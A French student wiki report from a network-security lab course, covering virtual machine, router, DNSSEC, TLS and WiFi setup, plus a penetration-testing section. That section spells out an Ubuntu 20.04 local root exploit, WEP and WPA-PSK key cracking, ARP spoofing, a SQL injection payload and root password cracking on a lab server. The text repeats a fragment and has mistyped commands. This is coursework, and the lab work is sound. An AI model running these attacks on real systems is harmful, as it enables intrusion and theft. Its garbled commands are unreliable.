On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John the Ripper nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :

[[Fichier:Hack-honey.png|600px]]

=Réalisations=

==Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions virtuelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
mount -a
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

fdisk -l # on repère la clé USB
fdisk /dev/sdb # on formate la clé en une seule partition
cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

mkdir /mnt/USB
mount -t ext4 /dev/mapper/myusbkey /mnt/USB
touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

umount /mnt/USB
cryptsetup luksClose myusbkey

==Sécurisation WiFi par WPA2-EAP ==

===FreeRADIUS===

Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.

On installe le paquet :
apt install freeradius

Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :

client 10.60.100.10/24 {
shortname = Piedbleu
secret = pasglop
}

On ajoute un utilisateur FreeRADIUS "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :

pifou Cleartext-Password := "pasglop"

Pour finir, on configure l'authentification PEAP-MSCHAPv2.

On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :

eap{
...
default_eap_type = peap
...
}

Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

===Point d'accès WiFi===

Ensuite, on configure le point d'accès WiFi.

ssh root@10.60.100.10 -c aes128-cbc

aaa authentication login eap_group1 group radius_group8
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop
aaa group server radius radius_group8
server 193.48.57.181 auth-port 1812 acct-port 1813
exit

Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :

dot11 ssid Piedbleu
vlan 308
authentication open eap eap_group8
authentication network-eap eap_group8
authentication key-management wpa
Mbssid Guest-mode
exit

Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:

interface Dot11Radio0
Mbssid
encryption vlan 308 mode ciphers aes-ccm tkip
ssid Piedbleu
exit

Encapsulation:

int dot11radio0.8
encapsulation dot1q 308
bridge-group 8
exit
int Gi0.8
encapsulation dot1q 308
bridge-group 8
exit

En n'oubliant pas de démarrer l'interface :

int dot11radio0
no shutdown
end
write

Ping du point d'accès vers notre VM :

[[Fichier:Freeradius-ping.png|600px]]

On observe notre SSID "Piedbleu" :

[[Fichier:Freeradius-ssid.png|600px]]

On s'y connecte avec notre téléphone tout en lançant la commande :

freeradius -X

===DHCP===

'''6509E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.1
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.99
ip dhcp excluded-address 10.60.108.150 10.60.108.255
write
exit
sh ip dhcp binding

'''C9200'''

ssh admin@10.60.100.2

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.2
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.49
ip dhcp excluded-address 10.60.108.100 10.60.108.255
exit
write
sh ip dhcp binding

===Mascarade===

'''6509E'''

int vlan 308
ip nat inside

access-list 108 permit ip 10.60.108.0 0.0.0.255 any
ip nat inside source list 108 interface Loopback0 overload

=Ferme de serveurs Web=

==Architecture générale de la ferme==

===Configuration VM Capbreton===

Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau :

vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',
'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',
]

On redémarre ensuite la VM.

Dans /etc/network/interfaces, on configure notre nouvelle interface :

auto eth1
iface eth1 inet static
address 192.168.42.8
netmask 255.255.255.0

Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

===Configuration VM Chassiron===

Dans /etc/network/interfaces, on configure notre interface :

auto eth0
iface eth0 inet static
address 192.168.42.22
netmask 255.255.255.0
gateway 192.168.42.8

Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

Puis on modifie le fichier /etc/resolv.conf :

domain plil.info
nameserver 192.168.42.8

===Mascarade===

On modifie le fichier /etc/systcl.conf :

net.ipv4.ip_forward=1

Ensuite, on lance les commandes :

apt install iptables-persistent

echo 1 > /proc/sys/net/ipv4/conf/all/forwarding

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32
iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32
iptables -P FORWARD DROP
iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32

Pour tester :

ping 192.168.42.22 #sur la VM capreton
ping 192.168.42.8 #sur la VM chassiron
ping 8.8.8.8 #sur la VM chassiron
apt update #sur la VM chassiron

===Clés SSH===

On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x "entrée") :

ssh-keygen -b 2048

Ensuite, on propage notre clé publique sur toutes les VM secondaires :

for i in $(cat liste_ip.txt); do echo ssh-copy-id root@"$i"; done

Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.

Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :

PermitRootLogin yes

dans le fichier /etc/ssh/sshd_config.

===Installation d'Ansible ===

===Ansible rôle MOTD===

Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :
fichier playbook.yml

Hosts : vmperso
Roles:
-{ role : adriagalin.motd }

Nous exécutons ensuite notre playbook.yml :
ansible-playbook playbook.yml

Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :

===Ansible rôle NTP===

==Installation de Docker==

Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :

[[Fichier:play_docker.png || 600px ]]

Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.

==Création du conteneur==

==Configuration des serveurs internes==

==Equilibreur de charge==

TP sysres IMA5sc 2020/2021 G8

2020-12-17T16:19:55Z

Jsoulaim : /* Architecture générale de la ferme */

=Informations générales=

{| class="wikitable"
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6
|-
| https://www.piedbleu.site
| 193.48.57.181
| 100.64.0.21
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
| 10.60.108.254
| 2001:660:4401:60ba::0/64
|}

=Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :

xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :

xl create -c /etc/xen/piedbleu.cfg

Par la suite, pour accéder à la VM, on fera :

xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a

puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=Interconnexion de VLAN=

==Configuration IPv4==

Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.

'''Routeur C9200'''

Nous nous connectons en ssh à partir de notre VM:
ssh admin@10.60.100.2

ensuite :
int vlan 308
vrrp 48 address-family ipv4
address 10.60.108.254
preempt
vrrpv2
end
write

On quitte avec exit et on sauvegarde avec write.

La commande show vlan nous affiche bien notre VLAN configuré.

'''Routeur 6509-E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

int vlan 308
vrrp 48 ip 10.60.108.254
vrrp 48 preempt
vrrp 48 priority 110
end
write

On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.

==Configuration IPv6==

'''Routeur 6509-E'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference High
end
write

'''Routeur C9200'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference Low
end
write

=Services Internet=
==Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, on fait un ssh sur les 2 routeurs, puis:

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

ping google.fr

==Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

service ssh start

Puis sur un autre terminal, on fait un :

ssh root@193.48.57.181

==Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

'''1ère étape: '''

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).

'''2ème étape:'''
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).

'''3ème étape:'''
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

Résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce répertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==Sécurisation du serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

==IPv6==

Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site

ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c
www IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c

Ensuite, on resigne le DNS :

dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Et on redémarre bind9.

=Tests d’intrusion=

==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

sudo adduser u1
su u1
id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.

nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !

whoami
pwn
id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles :

airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

airmon-ng start wlp1s0mon

On peut ensuite lancer le scan des réseaux wifi environnants :

airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé (message « Key Found »).

==Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:

airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):

crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par force brute avec la commande suivante :

aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap

Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-6.png|600px]]

==Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John the Ripper nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :

[[Fichier:Hack-honey.png|600px]]

=Réalisations=

==Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions virtuelles :

lvcreate -L1G -n piedbleu-raid1 storage

